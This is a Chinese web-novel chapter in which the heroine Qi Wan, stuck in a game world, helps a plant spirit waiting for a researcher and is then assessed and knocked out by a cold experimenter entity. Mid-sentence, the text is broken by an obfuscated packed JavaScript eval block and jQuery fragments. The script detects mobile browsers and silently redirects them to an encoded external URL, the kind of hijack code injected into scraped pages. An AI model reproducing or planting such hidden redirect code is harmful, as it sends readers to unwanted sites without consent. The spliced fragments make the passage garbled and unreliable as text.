然而跑出去没几步,她就被石块绊倒了。
“头好疼,手也好疼,不能跑了……”在乱石堆里摔了个狗啃泥,祁晚艰难地支起上半身看向那个位置,顿时瞪大了眼,“咦?人呢?”
广阔的谷地不见人影。
祁晚:“……”
祁晚:“不是,我明明看见了啊?”
人呢?就这么消失了?
总不能是错觉吧?真是错觉吗?
……不,就是错觉吧,毕竟不管怎么想,林老师都不会出现在这里吧。
于是她又趴回去了。
“头太疼产生幻觉了。”她小声叨叨,“都看见林老师了……要休息,必须要休息,再不休息我马上就要精神失常了。”
她侧着脸趴在地上懒得动弹,然而眼前却不只有乱糟糟的石头。
石缝间长着两朵花,只有大小略有差异。
大概是花吧,是白色的,棉花一样的花。绿色的叶片层叠有序,花序和叶片则密被绵毛,像个带绿色基底的小雪团子。与其说是花,倒更像是小毛绒挂件。
“什么植物啊。”她伸出手碰了碰较小的那一朵,绒毛的触感十分神奇,“是地球上的植物吗?好神奇哦……啊!!!”
那朵较大的花动了!它侧过身子来蹭了蹭她的手!
“闹鬼啊!”祁晚扑棱一下坐了起来,蹭着地后退,“什么鬼?”
下一秒,那朵蹭了她一下的花化作光点逸散,再下一秒,这些光点汇聚成了一个人形。
就是,这个人吧……
是个少女形象,个子不算很高,容颜精致,一头银色的头发在阳光下熠熠生辉——穿着可爱的Lolita风裙子,还围着一条围裙,围裙上书“萌爱猫犬咖”五个大字,且沾满了猫毛。
且不说花为什么会变成人,这张脸是否也太眼熟了些?
还有那个围裙,怎么回事?是去猫咖打工去了吗?
祁晚试探着唤出声,“……秋原?”
少女循着声音低头望向她,双眼无神。
祁晚皱起眉头。
不一样。
发丝里的挑染都没了,发尾变成了绿色;还有眼睛,她记得秋原的眼睛是很浅的颜色,在阳光下流光溢彩的,现在则变成了无一丝光采的灰色——再者说了,秋原为什么会去猫咖打工?想想都离大谱。
最终她得出结论,“这不是秋原。”
“是NPC吧。”她掸掸身上的土站起来,如此便能俯视这无名少女,“难怪看起来不像人,第一场又给我添堵又死活找不到……是有很多个这种形象的NPC吧。”
祁晚微微弯下腰,直视少女无神的双眼,赞叹于造物者的杰作,问道:“上一个叫秋原,那你叫什么呢?”
少女循声仰头,机器人似的,“我叫……棉头雪兔子。”
就在她给出回答的这一刻,播报声响起。
【玩家祁晚登入游戏。游戏主题:等待】
【全场共1名玩家,获得帮助者身份】
【胜利条件:完成等待,点亮本场游戏全部区域】
“原来你就是任务对象。”祁晚恍然,“是你在等啊,你在等谁?”
这句话打开了无名少女的话匣子,她灰败无神的眼睛骤然亮起,“我在等……一个人。”
这不废话。
不等人还能等啥?等待春天吗?
略无语了片刻,祁晚耐心问道:“是个什么样的人?你描述一下,不然我也不知道怎么找。”
“是个很厉害的人。”无名少女眯着眼笑起来——这个表情更像秋原了——她道:“他认识这里的所有的石头。”
祁晚静静地听着。
“我第一次见到他,是在三年前。”少女打理着裙子坐下,顺便拉祁晚也坐下,道:“那是我第一次见到人类。”
“他穿着杜鹃颜色的衣服。”
“来到这里的时候,他很惊喜地对着我和姐妹们拍照,说我们是生长在生命禁区的奇迹,夸我们好看。”
“他尤其喜欢我,但不认识我。然后他叫他的朋友来说话,说他只知道我是一种绵毛植物,问我叫什么。”
“他的朋友告诉他,我叫绵头雪兔子。”
“那也是我第一次知道自己在人类口中叫什么。”少女笑着,语气里是淡淡的怀念,“他给我拍了很多照片,走的时候,说他还会再来。”
“然后我等啊……等啊……等到一年过去。我又开花了,他果然又来了。”
“这次他很忙,很快就走了。但是给我留了东西。”如此说着,少女不知从哪里掏出一张照片,“你看,是他拍的我——是不是很好看?”
祁晚接过看了一眼,顺手收了起来,点头,“拍照技术是不错。”
都说生命禁区了,会来这里的应该是科研人员。
听描述,这些人应该分别是研究地质和生物的,因为都要来高原,干脆就组了团。
绵头雪兔子还在说话:“他留下这张照片的时候,也说他会再来……可是去年他没有来,今年也没有。”
说到这里,她变得有点委屈,“我已经又开了两次花,我觉得我的花朵变得越来越好看了。他为什么不再来了呢?”
“我可以等……可我还要等多久?”
雪兔子说着,眼神变得很寂寞。
祁晚可以理解,她也不喜欢在杳无人烟的地方一个人待着,连玩游戏都不爱玩单机游戏。
系统非要给她搞个单机游戏,她也很烦。
所以这个游戏还是快点搞完吧,她不想一个人玩单机了。
“我可以帮你找找他。”清了清嗓子,祁晚问道:“你仔细想想,他们说话的时候有没有提到什么地点?比如他们接下来要去哪之类的?”
雪兔子陷入沉思。
“好像……有吧。”
祁晚精神一振,“哪里?”
雪兔子:“好像说了什么……研究所?可能吧,我对人类的东西不了解。”
“对了,还有,我还记得方向。”
“他们离开的时候说,要往北走,还有很远,要走好久。”
然后就简单了,这游戏的世界自由度没有那么高,她只需要一路往北走,早晚能见到与任务相关的场景。
只是……
祁晚缓缓起身,往前走了几步,望着南方黑白的群山,陷入沉默。
完成等待只是胜利条件之一,除了等待还要点亮全部区域。要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101693|163064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找人,她现在就要往北走;但放眼望去,南部群山连绵起伏,蜿蜒不断,等她点亮的区域一眼望不到尽头。
“难道我要先把南方那么多的山都爬完,才能去找人吗?”她感到一阵不可思议,“那得多久?这游戏设计真的合理吗?”
“到时候我一头扎进山沟沟里游荡个十来年的……研究员们还在不在世都不好说了啊?别说到时候,现在都过去两年了,要真是已经出了什么意外死了都不奇怪,别说找了。”
【等待完成】
【请玩家继续点亮本场游戏游戏区域】
播报声从身后响起,祁晚吓了一跳,猛地回头,差点崴了脚。
完成?怎么就完成了?莫名其妙啊?
雪兔子听不懂她在说什么,所以只是静静地看着她,但在听她说完最后一句后,瞳孔颜色骤然变深,变成了深渊般的漆黑。
祁晚当时正喃喃自语,背对着雪兔子,没有看见这诡异的变化。
于是直到听见播报,她才回头。
不知何时,雪兔子已经无声无息地站在了她身后。
“干什么?!”祁晚一个大跳跳出去老远,“你这人怎么没声的?”
而且为什么……又变了?
刚才雪兔子给人的感觉是空洞,像个设定不全的NPC,触发任务就开始说固定台词。而现在,变化的明明只有瞳孔颜色,气质却已经完全不同——好像变成了什么未知的存在。
冰冷,无机质,很难形容,总之,有种非人感。
同样是非人感,跟秋原的非人感还不一样,秋原和绵头雪兔子只是有些不和谐,会让人觉得奇怪,而现在的“雪兔子”让她感到恐惧。
这已经不是刚才的雪兔子了,这是谁?
祁晚打了个寒战。
“雪兔子”冷冷地看着她。
半晌,开始说话。
“学习能力低下,承受能力差,只有精神损耗率居高不下。”
“啊?”祁晚懵了。
然而“雪兔子”没有停,继续道:“思维死板,抓不住重点;态度散漫,没有上进心。”
“跟游走者,管理者都没有关系。确实是本人差得离谱。”
“精神力总量高,恢复快。但综合以上评价,总评还是低。”
少女容颜精致,穿着可爱的衣服,然而气质完全不对劲,说出来的话一句比一句扎心。
“不是,你谁啊?”祁晚有点火了,“你不是刚才的棉头雪兔子吧?刚才的雪兔子去哪了?还有你,上来就这么说别人?不觉得自己很过分吗?”
“真的是,是我自己要来的吗?”祁晚气得都不害怕了,“凭什么就我要自己在这里?还莫名其妙被你骂,你到底谁啊?”
“雪兔子”一双黑眸淡淡地看着她,照旧带着惊人的冷漠,无视她的怒火,道:“你没必要知道。”
祁晚还要再骂,“雪兔子”已经闪现到了她面前,冰凉的手轻巧地搭上了她的脖颈。
她根本来不及躲,声音直接被打断,“你——”
失去意识前,她只听见“雪兔子”异常冷漠的嗓音。
“一号实验体评价低,不再继续投入。”
“启用多实验体计划。”